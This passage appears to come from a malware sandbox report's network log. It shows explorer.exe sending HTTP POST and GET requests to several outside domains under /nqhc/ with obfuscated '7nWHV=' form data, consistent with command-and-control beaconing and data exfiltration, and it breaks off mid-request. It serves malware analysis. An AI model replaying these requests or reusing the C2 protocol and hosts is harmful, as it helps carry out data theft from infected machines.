7nWHV=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGexAZK1Kpvk4PF8Xs1qNcCo0HYSbvgqFcYHleAyLcjLKxviD3ogm(YZOGSTEJPN_GHsn8xpeWG4szlu3VkZfu67iRreK1O0msjUFmQOUduTYxLBYj5I_kmTIqrApA1RE8uHJ7LvgG90uMGdS0kHJFvMXHx7U~dnv~aYqc5nL(VZl5N4jtlebQPc9maw5kfSnrl4W8B3aTfmrIrmlBheEz8D8pEAtQ2cdr4DKBF0XJzAnD3p9YU9aFfSsOHoXoRB654ezyIeJbmdHR-Jf2DMfcRio7zkwQq(hJkyEcGmltpmkdsYWWScyJ3Zrqoig(p6uB94Z7JdzupVW5yOCjpIb4dgFA1DCUwFi50FRrNJTKu28C7rtpnHWI5J5knsaf_XNn0Y4mCetXqeBLN0314FhZjd9ad~dNJ9vowILmZvzhRoa4mXQFAwhNAh1ihzRDNWZNSwXikcboto2A4ferLWtVfjS1tJ0hHc.
Dec 5, 2022 15:19:05.887490988 CET	12487	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49842	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:13.280183077 CET	11152	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 48 6f 57 30 62 7e 34 59 48 41 55 32 31 77 35 52 51 34 67 73 72 39 32 4d 48 45 58 4e 67 6b 55 74 6f 4e 4f 32 4a 78 4a 39 46 72 45 57 76 4d 45 56 5a 42 6b 35 64 56 76 42 4b 68 6a 46 32 36 6a 46 57 43 77 50 79 32 58 32 74 64 6b 7e 36 78 70 70 6c 72 63 4c 79 5a 51 6a 78 68 58 62 68 4c 44 38 62 66 59 78 61 53 44 4a 71 4e 32 66 38 36 4e 69 4c 44 62 63 74 43 64 64 38 4c 34 53 46 7a 6e 33 53 34 39 69 74 44 67 52 34 4b 55 48 4d 52 6a 38 6b 51 7a 75 78 71 49 5a 47 7a 74 4b 42 45 46 7e 5a 77 35 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=BmG0s2zn5XfmhHoW0b~4YHAU21w5RQ4gsr92MHEXNgkUtoNO2JxJ9FrEWvMEVZBk5dVvBKhjF26jFWCwPy2X2tdk~6xpplrcLyZQjxhXbhLD8bfYxaSDJqN2f86NiLDbctCdd8L4SFzn3S49itDgR4KUHMRj8kQzuxqIZGztKBEF~Zw5pw).
Dec 5, 2022 15:15:13.616744995 CET	11152	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:15:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Dec 5, 2022 15:15:13.864640951 CET	11153	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.11.20	49922	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:07.876416922 CET	12490	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 35 41 59 38 70 4b 71 49 77 34 4f 46 38 58 69 56 71 4d 63 43 6f 70 48 5a 36 66 76 67 33 77 63 64 44 6c 65 52 69 4c 63 52 7a 4b 68 5f 69 47 34 49 67 34 30 34 59 4e 47 53 76 51 4a 50 5a 76 47 30 77 6e 39 32 56 65 63 52 73 76 37 56 75 78 56 6b 5a 62 39 71 37 71 52 72 4b 61 31 4f 34 6d 73 6c 63 46 6e 69 47 55 66 39 37 59 38 37 42 58 34 70 49 4f 75 47 53 68 71 72 55 62 41 31 52 79 38 73 72 4a 37 4d 37 67 48 36 67 70 4d 6d 64 53 33 6b 47 66 42 76 49 62 48 78 58 63 7e 63 6a 76 7e 64 63 71 61 5a 6e 4c 76 68 74 36 37 74 35 71 67 46 66 5a 64 76 51 6c 6d 65 67 4c 6b 61 43 6e 72 56 73 57 38 79 66 61 66 65 6d 72 55 62 6d 6e 65 52 65 58 34 63 44 34 70 45 51 50 51 32 38 6e 72 5f 37 4b 43 6b 34 58 62 43 41 6d 55 6e 70 42 58 30 38 65 53 76 58 34 4f 45 51 4c 6f 52 42 71 35 36 79 7a 31 34 75 4a 4a 69 4a 47 63 4f 49 32 71 44 4e 59 57 78 75 6d 37 33 4d 34 51 71 33 50 4a 6e 7e 45 66 6d 6d 6c 6f 4b 7e 6e 58 63 59 4d 61 79 64 72 48 58 5a 43 71 6f 7e 38 28 74 72 62 42 4e 55 5a 36 39 35 7a 69 5a 56 4a 70 53 4f 47 73 4a 49 64 38 64 67 46 41 31 66 57 55 77 35 69 35 6c 39 52 70 36 74 54 50 35 69 38 41 37 72 72 70 6e 48 39 49 35 55 46 6b 6b 4d 6b 66 37 71 6f 6e 78 67 34 6c 57 61 74 44 4c 65 43 62 4e 30 34 78 34 46 32 58 44 51 37 61 64 69 46 4e 4e 68 5f 6f 43 4d 4c 6c 5a 66 7a 6c 52 6f 56 74 32 58 58 53 77 78 34 48 67 38 71 69 67 65 70 44 4f 4c 63 4e 56 30 58 67 54 64 45 74 74 6b 5f 53 62 28 46 76 73 43 38 54 63 58 36 6d 64 52 49 30 79 77 70 4a 51 65 4f 32 37 6f 36 48 62 59 77 5a 66 44 36 75 47 64 4b 43 43 6a 7a 6c 48 78 48 6b 4e 39 46 58 4a 70 63 66 58 59 63 68 45 53 56 70 31 47 64 68 65 48 48 6a 79 4b 48 79 79 33 48 75 6b 32 6a 6d 74 63 48 56 4e 74 7a 4a 44 58 56 50 7a 43 64 55 30 58 53 63 43 44 4c 61 34 58 34 36 4e 39 5f 6b 6d 62 63 75 6a 44 63 53 43 62 66 71 52 42 62 47 42 35 50 47 38 74 43 53 6c 4e 5a 4c 4b 31 50 70 46 7a 55 7a 53 4c 47 58 46 52 31 4c 61 48 6c 6f 59 79 39 47 7a 67 54 43 57 78 30 44 4a 76 51 50 6c 33 48 48 33 7e 5f 6b 59 35 49 73 7a 75 58 30 79 71 68 45 33 55 54 56 47 44 4a 28 58 55 7a 62 38 63 51 36 79 43 54 74 30 58 78 36 43 5a 72 68 59 37 73 42 41 68 74 79 34 30 36 50 45 61 6c 30 6e 71 62 4c 71 6f 50 6d 6f 45 50 78 7a 4d 64 65 77 36 75 70 51 77 46 39 75 32 31 35 51 4c 76 62 36 28 32 5a 6b 73 47 50 69 75 43 58 37 38 4e 38 45 69 71 6c 55 66 76 7a 4e 69 35 45 67 79 39 37 62 47 47 61 64 69 69 49 4d 48 66 6e 6f 6c 64 42 67 7a 5a 73 70 6b 75 35 42 4a 6b 47 69 31 51 4f 78 6f 4f 28 4c 55 72 43 76 6f 66 61 49 35 49 69 64 38 72 69 4e 55 69 53 52 78 35 48 30 79 36 6b 6e 39 52 71 48 6f 57 49 73 4d 36 67 71 62 6f 78 30 6c 67 55 70 6f 4e 45 6a 6f 73 42 77 62 57 61 74 35 4a 46 59 76 65 69 6f 7e 2d 7a 30 50 4b 76 66 64 54 74 73 37 79 55 5a 77 74 70 70 30 41 62 57 79 72 50 56 65 30 54 55 4c 54 48 51 4c 4f 35 2d 6e 4f 44 65 42 54 34 42 4b 31 45 42 6a 75 7a 31 51 36 49 7a 65 6f 74 36 6c 71 77 52 43 62 69 33 66 65 33 2d 6d 6d 39 6b 6b 36 6d 61 79 43 4c 67 64 57 41 5f 6f 49 55 42 6d 6b 39 56 6c 6c 35 64 69 73 7e 58 38 46 67 64 41 54 7a 35 78 78 6d 37 7e 6e 54 50 30 53 5a 44 47 69 39 63 67 6e 31 74 4f 56 49 41 42 45 37 55 37 57 58 75 37 2d 79 48 57 75 63 6f 57 57 7e 6d 4f 62 42 39 36 6d 45 42 65 45 48 44 6c 43 49 33 47 6c 34 30 6f 31 74 6a 54 46 57 72 76 30 4d 5f 75 6b 36 6b 65 49 32 74 62 64 33 53 4f 57 73 68 39 69 31 65 7a 34 56 73 72 4c 34 5f 76 69 63 42 71 6e 51 59 41 31 6c 57 7e 31 79 52 35 45 66 59 69 56 28 51 71 4a 6f 6e 38 75 61 64 43 4e 6e 50 61 39 35 62 28 57 78 4c 6c 6d 33 47 77 43 4d 4b 31 57 72 67 4b 75 65 47 68 6a 67 62 67 56 46 4d 4f 70 47 55 73 55 6e 46 4f 4f 63 4e 6d 41 6a 57 67 2d 53 30 50 4d 44 6f 45 37 69 55 43 78 71 41 51 78 4f 44 43 6f 61 62 65 34 69 64 30 72 76 30 53 50 61 77 37 7a 64 7a 34 74 49 65 67 48 33 79 6d 37 62 73 57 6f 64 4d 79 69 6c 68 43 52 6e 52 74 30 56 49 34 58 71 63 63 30 6d 43 43 43 62 75 62 66 66 38 67 59 54 30 59 71 75 4c 70 65 31 59 7a 4c 6b 31 51 2d 36 44 70 6d 70 56 49 44 4f 64 68 59 70 43 5a 45 47 35 48 4f 79 46 48 6b 75 78 37 50 49 35 44 66 41 45 31 6c 7e Data Ascii: 7nWHV=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGe5AY8pKqIw4OF8XiVqMcCopHZ6fvg3wcdDleRiLcRzKh_iG4Ig404YNGSvQJPZvG0wn92VecRsv7VuxVkZb9q7qRrKa1O4mslcFniGUf97Y87BX4pIOuGShqrUbA1Ry8srJ7M7gH6gpMmdS3kGfBvIbHxXc~cjv~dcqaZnLvht67t5qgFfZdvQlmegLkaCnrVsW8yfafemrUbmneReX4cD4pEQPQ28nr_7KCk4XbCAmUnpBX08eSvX4OEQLoRBq56yz14uJJiJGcOI2qDNYWxum73M4Qq3PJn~EfmmloK~nXcYMaydrHXZCqo~8(trbBNUZ695ziZVJpSOGsJId8dgFA1fWUw5i5l9Rp6tTP5i8A7rrpnH9I5UFkkMkf7qonxg4lWatDLeCbN04x4F2XDQ7adiFNNh_oCMLlZfzlRoVt2XXSwx4Hg8qigepDOLcNV0XgTdEttk_Sb(FvsC8TcX6mdRI0ywpJQeO27o6HbYwZfD6uGdKCCjzlHxHkN9FXJpcfXYchESVp1GdheHHjyKHyy3Huk2jmtcHVNtzJDXVPzCdU0XScCDLa4X46N9_kmbcujDcSCbfqRBbGB5PG8tCSlNZLK1PpFzUzSLGXFR1LaHloYy9GzgTCWx0DJvQPl3HH3~_kY5IszuX0yqhE3UTVGDJ(XUzb8cQ6yCTt0Xx6CZrhY7sBAhty406PEal0nqbLqoPmoEPxzMdew6upQwF9u215QLvb6(2ZksGPiuCX78N8EiqlUfvzNi5Egy97bGGadiiIMHfnoldBgzZspku5BJkGi1QOxoO(LUrCvofaI5Iid8riNUiSRx5H0y6kn9RqHoWIsM6gqbox0lgUpoNEjosBwbWat5JFYveio~-z0PKvfdTts7yUZwtpp0AbWyrPVe0TULTHQLO5-nODeBT4BK1EBjuz1Q6Izeot6lqwRCbi3fe3-mm9kk6mayCLgdWA_oIUBmk9Vll5dis~X8FgdATz5xxm7~nTP0SZDGi9cgn1tOVIABE7U7WXu7-yHWucoWW~mObB96mEBeEHDlCI3Gl40o1tjTFWrv0M_uk6keI2tbd3SOWsh9i1ez4VsrL4_vicBqnQYA1lW~1yR5EfYiV(QqJon8uadCNnPa95b(WxLlm3GwCMK1WrgKueGhjgbgVFMOpGUsUnFOOcNmAjWg-S0PMDoE7iUCxqAQxODCoabe4id0rv0SPaw7zdz4tIegH3ym7bsWodMyilhCRnRt0VI4Xqcc0mCCCbubff8gYT0YquLpe1YzLk1Q-6DpmpVIDOdhYpCZEG5HOyFHkux7PI5DfAE1l~81Bu2AxsMYWtPUWiwzjRzyziREHFfQ0Hqf9M-zhYg2-29JKQ-1VKNq_6f3K3cJKdQpTaCp5BtEg8-tA0N1HMR21K85bfYijlfFcppg-hONfCJ3CyLXKdVkJ3oe7QNQDXq6_dtar4XJB3eBwfceAuZSLQDr5LWBGpWLJsYBNIvpb6QxlsgKSZIhYe3uJYYsH73SxgcQEZXcz91MgbyWlen75Ss8_57KuKXqFDwfq2nAt7oSYUbb3CrrUwaP9z_Gh9WHe3ukzpRXr0cXVhwKBlhdSDVI8bOJhg0RIzpthgdGkSg6v~ccqGcuzj11uBa1rw2uIGWusAIaJ6dVTWwY2z_0vvT(SxxE2xogwFEFyxVzPghHGopetkplG(cspg70chkYLY0z9DHDFP8O5oebmtSUltMmp5LlVY5zvxI(_mzFJM-JmV8pIKZP2lOldZX8YytCcnUEr5Mi-kSLcnG7FtSzgOMRvUnxTztM4R0E2jz7WeMwgpELOiNmCNGjOJ5dDgVj0EhCoko2UBpp5GEYkKa9buWMTRpTb7hJuNb61S2Tp9iG8r8k2fZ2G6ywi0oT3B9rTK2c0qGiv70o8nPdNL3W1e_gFFtkF4SUt9iEiuVz6ksIxrVT9mywjDgjxX2~EpTTDKSDQjwqW67mEqGfoD6NwlO1xfpgp2jBaoypNTNedjtdPpW2tnFAGUw6kBMS2E4o8EAMUVT~1zvrhWW4-aqpqaKjuK1ZugpJ1dxKrYyOEytcscRVZZrqVIGeJH9B1lzv5zfhkJUVLsNgyaQMeIfNUQgJ5rohKUrE7g-e
Dec 5, 2022 15:19:07.876516104 CET	12500	OUT	Data Raw: 79 47 74 56 71 4c 62 7a 33 32 6b 6c 39 46 41 58 32 74 4f 63 53 66 69 44 34 4f 4a 59 71 33 2d 71 4e 39 6d 65 49 4f 70 78 2d 52 54 70 36 64 42 46 34 36 33 28 6c 65 36 31 78 4d 2d 45 4c 44 67 52 44 58 63 53 61 7a 67 55 46 65 47 69 5f 45 73 57 34 79 Data Ascii: yGtVqLbz32kl9FAX2tOcSfiD4OJYq3-qN9meIOpx-RTp6dBF463(le61xM-ELDgRDXcSazgUFeGi_EsW4ydQMt6qooIFqhwf-c3UROILsyvi3W2lwePEGyIx-MB~sMiPW2cRFKrJTUioQSqsDyKqutrtIWrOUrnMcARkPY-mqPpH67c8bheXIwcmog6A78L(SZJ42N5R2xpJ3jh1PkWCRwPsd3I3wP9406TDx1VLB3xLzjrIE~n
Dec 5, 2022 15:19:08.041935921 CET	12501	OUT	Data Raw: 78 48 43 33 74 72 54 67 42 61 6a 79 72 35 74 45 37 76 6a 69 4e 7e 54 77 2d 4b 72 53 4e 48 45 38 45 67 51 77 52 4a 47 78 52 59 38 36 4b 63 51 39 4a 28 65 4b 59 4f 44 61 31 68 4e 34 35 6b 48 32 36 62 4e 7e 52 70 6d 55 6d 78 49 78 56 28 6c 47 49 59 Data Ascii: xHC3trTgBajyr5tE7vjiN~Tw-KrSNHE8EgQwRJGxRY86KcQ9J(eKYODa1hN45kH26bN~RpmUmxIxV(lGIYjCnnbCdnlAEeL2EU1eo1FHTVVWaPhQcP_xXVMrFzZvhA-LKRntZ4FiLh4Ca~O0jZq~if7pmo8z0LkfyC1Ywan82V5hfa-qhAFCpEz9cDkD2jHWmxNGjn_VuwYZql1NTjY1OAX4eXSMOXzU3WoqoAEseQ-MZ7QM0R8
Dec 5, 2022 15:19:08.042119980 CET	12511	OUT	Data Raw: 64 59 64 54 58 43 31 36 32 30 75 68 45 77 73 68 44 47 51 30 43 52 4d 4e 68 64 35 33 74 79 47 7a 73 52 54 62 48 6c 54 32 48 4a 4b 38 2d 37 65 33 6c 6e 5a 39 38 69 50 51 37 43 56 58 68 66 41 6d 65 32 31 6f 35 5a 4b 4a 34 6b 62 59 78 73 6d 74 57 6f Data Ascii: dYdTXC1620uhEwshDGQ0CRMNhd53tyGzsRTbHlT2HJK8-7e3lnZ98iPQ7CVXhfAme21o5ZKJ4kbYxsmtWoqypyRcsWgdM(DzON7VbDdjKd9emazDMDTgNLnnKhJ~C~fcEvF4sZbYOxiHFdQHT2EMAKyRwzfXBSuQvgLI2vFPwfApfhV14edbEhrZQKxaGRD~_mEupr4Sp0mYNTwqXbFLDjoZMeQL16qVSom8lQPFZT80o3D(Jms
Dec 5, 2022 15:19:08.042258978 CET	12525	OUT	Data Raw: 4a 61 4b 47 63 6a 53 48 6e 7e 59 69 71 6f 57 33 4f 79 6d 6f 75 4f 54 67 67 4d 44 37 4a 74 6e 33 4b 6c 70 48 35 48 5f 5a 57 28 2d 64 62 46 58 58 4b 46 6a 75 38 66 68 7a 6e 28 66 73 34 7e 76 6f 59 67 37 43 4e 44 6f 46 76 69 44 78 70 67 67 51 4c 39 Data Ascii: JaKGcjSHn~YiqoW3OymouOTggMD7Jtn3KlpH5H_ZW(-dbFXXKFju8fhzn(fs4~voYg7CNDoFviDxpggQL9OQjX0zDcMgNxTsMc6dWBIlqIUWtNlkMSXL9WsCMm5m9qruIgO9SvxL2Yac3j7D02EoD2fqRTdaittEE4D2CBHIOMw9pn7ScDfEtj-8ECxWTWEGcDeslL6PWcrMyBvefDhiuVn3-yqybW5NBitv9G479XEFcQ0RKsV
Dec 5, 2022 15:19:08.207382917 CET	12527	OUT	Data Raw: 34 59 2d 74 6e 59 57 6e 5f 76 44 64 4d 4d 67 34 5a 34 4c 54 36 77 4f 6e 31 44 2d 47 5f 59 50 76 7a 4c 6f 67 46 51 45 41 53 6d 48 72 41 63 73 74 6d 6f 63 61 70 66 4f 69 45 36 59 4c 6b 73 46 64 42 4d 75 59 57 4b 47 7a 41 69 43 35 6e 6c 76 65 61 64 Data Ascii: 4Y-tnYWn_vDdMMg4Z4LT6wOn1D-G_YPvzLogFQEASmHrAcstmocapfOiE6YLksFdBMuYWKGzAiC5nlvead3GwPti8EwArUoAYUEm_d0mG5LrA40IJwbICXFqFpkew~eFlGqlmmAMEP3H6I55t266fnpucJnL2ZDLxxbIKPtxWE_efIIXuIp8n7MEFn_sHcmlyOGw7SzK0BgUOaUFLHKxGUoVGBJhgZ0F0s-p0s_c18tDkcSwNZE
Dec 5, 2022 15:19:08.207562923 CET	12533	OUT	Data Raw: 7a 43 64 47 49 73 70 51 42 51 56 31 68 36 78 62 44 70 44 68 73 6d 69 4d 45 54 36 63 68 67 71 53 4d 73 4c 57 77 51 42 33 58 42 62 61 30 39 70 36 39 6d 44 52 71 62 69 68 63 45 55 5a 56 28 7a 30 76 38 74 41 53 34 77 6f 6c 77 4d 49 41 35 33 33 51 56 Data Ascii: zCdGIspQBQV1h6xbDpDhsmiMET6chgqSMsLWwQB3XBba09p69mDRqbihcEUZV(z0v8tAS4wolwMIA533QVhrMM6YpzFKoi9nuZLqgyU0YczjrzSyyKywbF6w8uG3hBH3znk2M5VjNEVCwxsmwO-PO1ZD5BTb6BEe75STDxYyNilaDJlVYqGrhLs9ssZhY3uCudJZEnJLvsVh7y5B6koqWmpT-BhOc2WckQKJq5PMfbS0VrL7gAW
Dec 5, 2022 15:19:08.207653999 CET	12538	OUT	Data Raw: 70 71 75 43 5f 61 52 66 76 62 6a 28 35 47 54 33 73 55 52 6b 6b 6b 48 49 73 6e 38 54 35 70 35 6a 49 34 51 49 6f 34 6b 36 7a 47 62 50 79 75 4e 47 59 38 65 41 4d 71 39 55 42 73 6b 33 74 46 47 46 2d 7e 54 45 6d 43 6b 78 37 69 6e 57 45 41 56 48 69 62 Data Ascii: pquC_aRfvbj(5GT3sURkkkHIsn8T5p5jI4QIo4k6zGbPyuNGY8eAMq9UBsk3tFGF-~TEmCkx7inWEAVHibgiruP00K1pTFVhTeorqKTLsNDtC5VNlQtuhVfnNl_RbFlpw(GgkqWXP8ylSIfYCwkbrTpCwZi4mkPHFf_5BYoG4X5OuiATAQB5dEICKv2uwXsv65LA-H9XBoZxuHLK9nmSvJNou2AN3oD8vHwI7NiS6~FwQ~-pzkV
Dec 5, 2022 15:19:08.207878113 CET	12539	OUT	Data Raw: 58 65 4b 61 5a 50 70 59 6d 51 76 52 34 4b 46 77 68 30 51 36 4b 50 6e 7a 59 56 53 38 46 6d 50 62 67 31 48 6e 74 53 57 6d 52 70 4b 76 6b 50 79 33 31 34 38 39 43 44 7a 49 71 4b 45 35 45 51 61 6a 56 76 4c 4d 5a 45 53 4d 6d 30 6f 6c 30 78 58 6d 65 54 Data Ascii: XeKaZPpYmQvR4KFwh0Q6KPnzYVS8FmPbg1HntSWmRpKvkPy31489CDzIqKE5EQajVvLMZESMm0ol0xXmeTjMcBrl1cvcTJfdKwOJTc8kBOEUQXIE1X61hernJbDG9Ji2QQeU11lgk5H2Fit2zEU5qofnDhvEUGowCdBw65sBTMbWp6Vg0g47bGM9auTMem2K28IkOOs3rvza7Cdbio6LEyMImBqRuaMZGlioWH7CXXSQG6azm0E
Dec 5, 2022 15:19:08.405109882 CET	12540	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:19:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.11.20	49923	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:10.062412024 CET	12541	OUT	GET /nqhc/?7nWHV=NmysUK8Sf6DpSokzhdS+Fe7Tw5OPNsso476sAEQMN+xhSdBax7kHE0kXg2GXcVgvb7a1o1nVZ7aHbSSwUgvcnfixvrsa7oZKWA==&t0D=yFNHS0IX HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:19:10.230767012 CET	12541	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Dec 2022 14:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.11.20	49924	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:15.251756907 CET	12542	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 64 70 30 6f 68 78 4d 4d 78 31 43 43 63 66 69 6c 50 4e 6b 5f 72 4f 56 4c 52 44 6a 6b 4e 55 41 6a 5a 44 48 75 62 63 57 4c 64 6e 35 46 64 6a 69 5a 51 34 38 4b 38 65 53 56 4f 50 28 2d 6e 39 67 34 6c 57 49 35 6b 31 55 31 78 53 43 31 58 75 41 43 32 31 56 6e 65 31 4f 61 38 30 72 65 39 38 53 5f 62 72 28 4a 28 37 33 50 31 4d 4d 43 71 36 54 67 4b 76 58 54 49 76 79 65 7a 47 61 63 28 30 28 64 4b 58 67 71 52 73 73 34 55 6d 55 32 6b 51 4a 76 61 2d 4f 47 30 6e 56 79 72 71 55 6a 65 33 45 37 4d 44 62 43 33 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=S6tbconk9Vd-dp0ohxMMx1CCcfilPNk_rOVLRDjkNUAjZDHubcWLdn5FdjiZQ48K8eSVOP(-n9g4lWI5k1U1xSC1XuAC21Vne1Oa80re98S_br(J(73P1MMCq6TgKvXTIvyezGac(0(dKXgqRss4UmU2kQJva-OG0nVyrqUje3E7MDbC3w).
Dec 5, 2022 15:19:15.304797888 CET	12543	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:19:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.11.20	49925	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:17.282093048 CET	12544	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 51 6a 59 68 66 75 61 5a 36 4c 4f 58 35 46 53 44 69 41 64 59 38 5f 38 65 65 73 4f 4f 44 2d 6e 35 41 34 6b 6b 51 35 74 6c 55 36 37 79 43 30 42 2d 41 42 39 56 56 78 65 31 53 73 38 77 72 65 39 4d 7e 5f 4a 35 6e 4a 73 36 33 4d 34 4d 4d 41 73 36 54 6a 52 5f 58 6a 49 76 33 6a 7a 48 69 69 7e 47 6a 64 4c 7a 51 71 44 63 73 5f 42 6d 55 50 6f 77 4a 2d 4a 2d 75 43 38 47 4e 36 79 62 34 65 54 46 39 56 49 6e 4b 2d 68 47 57 4b 77 7a 54 5f 31 70 67 6c 38 72 79 62 28 36 35 5f 41 73 54 6b 6e 73 69 32 76 32 6d 72 57 5f 73 37 79 57 6f 67 70 56 69 5a 67 65 34 33 30 37 41 31 68 72 73 79 31 51 78 71 55 41 73 4c 39 6b 65 2d 28 6d 7a 61 46 70 72 33 6a 30 50 74 64 79 56 4a 6c 62 67 34 7e 4f 55 7a 57 61 4b 43 38 46 70 53 58 48 55 4b 41 42 32 59 4c 65 6c 41 57 6c 69 44 6c 46 6c 6a 6b 36 76 31 39 72 76 74 64 51 66 6e 4d 65 4f 69 49 4e 57 6a 4d 5f 38 6c 74 63 47 50 4f 4c 48 7a 50 75 30 72 47 66 30 30 61 47 61 6a 7a 46 62 4d 6f 75 72 34 4e 6a 45 35 41 45 55 68 37 68 28 33 74 62 6b 39 6f 49 7a 78 6d 75 79 6f 49 30 34 34 54 2d 77 71 6d 4e 49 61 45 54 53 33 4d 76 71 4c 51 7a 74 51 37 67 61 57 6d 63 4b 4c 6c 74 39 45 63 39 7a 7a 4f 43 4e 79 4d 4c 56 39 4b 47 33 32 31 4b 74 48 75 74 72 38 5a 5a 6d 34 38 42 35 53 75 71 47 65 79 69 4e 30 49 6c 6a 58 68 79 6a 73 34 69 57 64 44 57 36 47 74 41 4a 64 53 39 6b 68 44 46 72 7a 62 44 53 57 38 31 39 49 6a 74 6b 66 48 65 75 6e 62 51 72 71 4b 37 4f 32 52 2d 53 41 53 48 4f 5a 64 41 7e 48 50 4a 79 5f 70 34 63 2e 00 00 00 00 00 00 00 00 Data Ascii: 